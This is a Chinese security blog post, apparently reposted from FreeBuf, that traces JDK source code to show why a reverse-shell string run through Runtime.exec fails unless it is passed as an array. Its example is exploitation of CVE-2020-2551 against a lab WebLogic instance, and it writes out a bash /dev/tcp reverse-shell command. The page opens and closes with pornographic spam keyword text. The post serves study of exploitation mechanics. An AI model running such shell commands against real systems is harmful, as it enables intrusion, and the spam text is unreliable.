成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

從JDK源碼中探究Runtime#exec的限制

安全 漏洞
使用exec的數組作為參數傳入的重載方法,不同于使用字符串的重載方法進行命令執行,具體到代碼中就是少了一步通過創建了一個StringTokenizer類對象來自動進行命令的分割,在某些情況下,將會造成命令不能執行的情況,數組方式是直接傳入的自己已經分好塊的命令數組進行命令執行,Java便不會自動將本應該在一起的命令分割開來造成錯誤。

前言

遇到很多次在調用Runtime.getRuntime().exec方法進行彈shell的時候遇到的各種限制,都沒好好的認識認識原理,這次主要是總一個總結和原理上的分析。

環境搭建

之后使用docker起一個具有反序列化的漏洞的Java服務(能夠執行命令就行)。

之后開啟調試的功能,

我這里直接就是用存在的weblogic的漏洞環境,直接通過發送T3協議數據包來觸發反序列化漏洞。

起因

我這里使用的是CVE-2020-2551進行利用,

我們首先進行curl命令執行看看是否可以執行命令。

image-20221124200610100.png

接下來我們使用反彈shell的命令嘗試

bash -i >& /dev/tcp/192.168.153.1/8080 0>&1

image-20221124201147389.png

按照正常的邏輯,應該會成功的啊?!

但是,并沒有,如圖:

image-20221124201236376.png

細節

我們跟進一下Runtime執行命令的源碼。

因為對于linux和windows版本的JDK有一點小區別,所以我這里在項目依賴的位置將windows版的rt.jar包替換成了linux版的rt.jar包。

好了,言歸正傳,開始分析Runtime.getRuntime().exec執行命令的邏輯了。

image-20221124211159273.png

在Runtime類中的exec方法存在有多個重載,大致可以分成傳入的參數是一個字符串,或者是一個字符串數組進行命令執行。

字符串執行

我們首先來看看字符串作為參數的情況是怎么樣的。

image-20221124211416318.png

在這個方法中將會調用this.exec((String)var1, (String[])null, (File)null)方法繼續進行調用。

image-20221124211546340.png

在這個方法中,首先是傳入的命令不能為空,不然會拋出異常,之后主要是創建了一個StringTokenizer對類對象,傳入的構造方法參數是我們需要執行的命令字符串。

從該方法的注釋中也能夠看出端倪來。

image-20221124212333895.png

使用通過調用 new StringTokenizer(command) 創建的 StringTokenizer 將命令字符串分解為標記,而無需進一步修改字符類別。分詞器生成的分詞然后以相同的順序放置在新的字符串數組 cmdarray 中

所以我們可以跟進StringTokenizer類的構造方法中

image-20221124213636478.png

為指定的字符串構造一個字符串分詞器。分詞器使用默認的分隔符集,即“\t\n\r\f”:空格字符、制表符、換行符、回車符和換頁符。

也就是使用這個類將命令字符串中跟據\t\n\r\f等字符來進行分割成一塊塊的數組,

主要的實現方法就是在exec方法中,首先調用StringTokenizer#countTokens來初始化cmdarray這個數組對象。

image-20221124214254296.png

主要是利用skipDelimiters / scanToken這兩個方法來進行切片操作的

image-20221124214341382.png

image-20221124214351239.png

之后就是調用nextToken方法來為前面初始化的數組進行賦值操作

image-20221124214459545.png

在分割成了數組之后調用exec的重載方法public Process exec(String[] cmdarray, String[] envp, File dir)

image-20221124214738521.png

終歸還是回到了ProcessBuilder類對象的創建來,在Java中另一種執行命令的方式就是通過調用ProcessBuilder#start()方法來執行命令。

這里進行了environment / 工作目錄的初始化之后調用了start方法進行命令執行操作。

image-20221124220605915.png

這里獲取的是命令字符串的分割之后的第一塊,這個就是該命令執行的環境,比如/bin/sh / /bin/bash這些。

可以注意到在其后面有一個System.getSecurityManager方法的調用,這個就是通過調用checkExec方法來判斷該次的命令調用是否合法,也是Java內置的一種安全管理。

image-20221124220839808.png

之后就是調用ProcessImpl.start方法進行執行了,

最后將會創建一個UNIXProcess類對象。

image-20221124221109114.png

傳入的第一個參數是/bin/bash這種運行環境,第二個參數就是后面緊跟的需要執行的命令,

在這個類構造方法中,將會通過調用forkAndExec方法來創建了一個進程該方法返回了該進程的PID號。

總結

使用Runtime.getRuntime().exec()方法執行命令的時候,會將傳入的字符串命令,根據\t\n\r\f等分隔符進行分割,之后在進行命令的執行。

數組執行

如果傳入的參數是一個數組對象,來到的具體代碼就是在public Process exec(String cmdarray[])方法的調用中。

image-20221124221755374.png

直接就來到了exec的重載方法public Process exec(String[] cmdarray, String[] envp, File dir)

image-20221124221913697.png

在這個方法中,直接就將該數組對象傳入的ProcessBuilder的構造方法中,之后調用start方法進行執行。

總結

使用exec的數組作為參數傳入的重載方法,不同于使用字符串的重載方法進行命令執行,具體到代碼中就是少了一步通過創建了一個StringTokenizer類對象來自動進行命令的分割,在某些情況下,將會造成命令不能執行的情況,數組方式是直接傳入的自己已經分好塊的命令數組進行命令執行,Java便不會自動將本應該在一起的命令分割開來造成錯誤。

本文作者:superLeeH, 轉載請注明來自FreeBuf.COM

責任編輯:武曉燕 來源: FreeBuf.COM
相關推薦

2009-07-08 14:06:22

ClassLoaderJDK源碼

2023-11-01 07:24:16

JDK19線程

2022-12-30 09:08:29

JDK源碼工具

2021-10-27 16:52:37

LayoutInfl源碼解析

2019-04-24 09:43:46

代碼開發工具

2024-11-19 06:00:00

2022-08-12 12:23:55

golangmap數據結構

2021-07-09 09:12:40

STL排序算法

2010-11-02 13:45:52

TFS2010VS2010微軟

2009-07-08 12:53:29

JDK源碼Java.lang.B

2025-02-27 00:32:35

2023-10-10 22:24:16

2009-06-15 16:27:20

JBoss服務器JBoss源碼

2022-10-12 08:38:51

C語言classC++

2010-03-19 13:17:26

Parallel

2009-07-31 09:20:16

NGWS RuntimASP.NET

2022-03-27 09:06:04

React類型定義前端

2023-03-13 15:03:05

鴻蒙ArkUI

2023-01-12 08:50:46

2020-07-31 07:00:00

Kubernetes容器Linux
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 日韩精品一区中文字幕 | 国产精品国产a级 | 天天干狠狠操 | 久久机热 | 一区二区三区免费看 | 超碰精品在线 | 欧美黄色性生活视频 | 国产一区二区三区免费视频 | 久久99深爱久久99精品 | 在线观看av不卡 | 亚洲一区二区三区四区五区中文 | 精品国产欧美一区二区 | 日韩综合在线视频 | 国产精品久久 | 精品国产黄色片 | 四虎成人免费视频 | 天堂va在线| 中文字幕在线人 | 国产91在线视频 | 午夜欧美 | 粉嫩国产精品一区二区在线观看 | 天天操天天射天天舔 | 天天躁日日躁aaaa视频 | 国产精品自拍啪啪 | 日韩激情在线 | 久久久新视频 | 亚洲精品一区二区三区四区高清 | 精品无码久久久久久久动漫 | 伊人一二三| 欧美精品一二区 | 男女羞羞视频免费 | 中文天堂在线观看 | 中文字幕精品一区二区三区在线 | 亚洲视频在线一区 | 久久99久久 | 欧美久久精品一级c片 | 少妇一级淫片免费播放 | 成人av一区 | 成人三级电影 | 一区二区三区视频免费观看 | 国产视频二区在线观看 |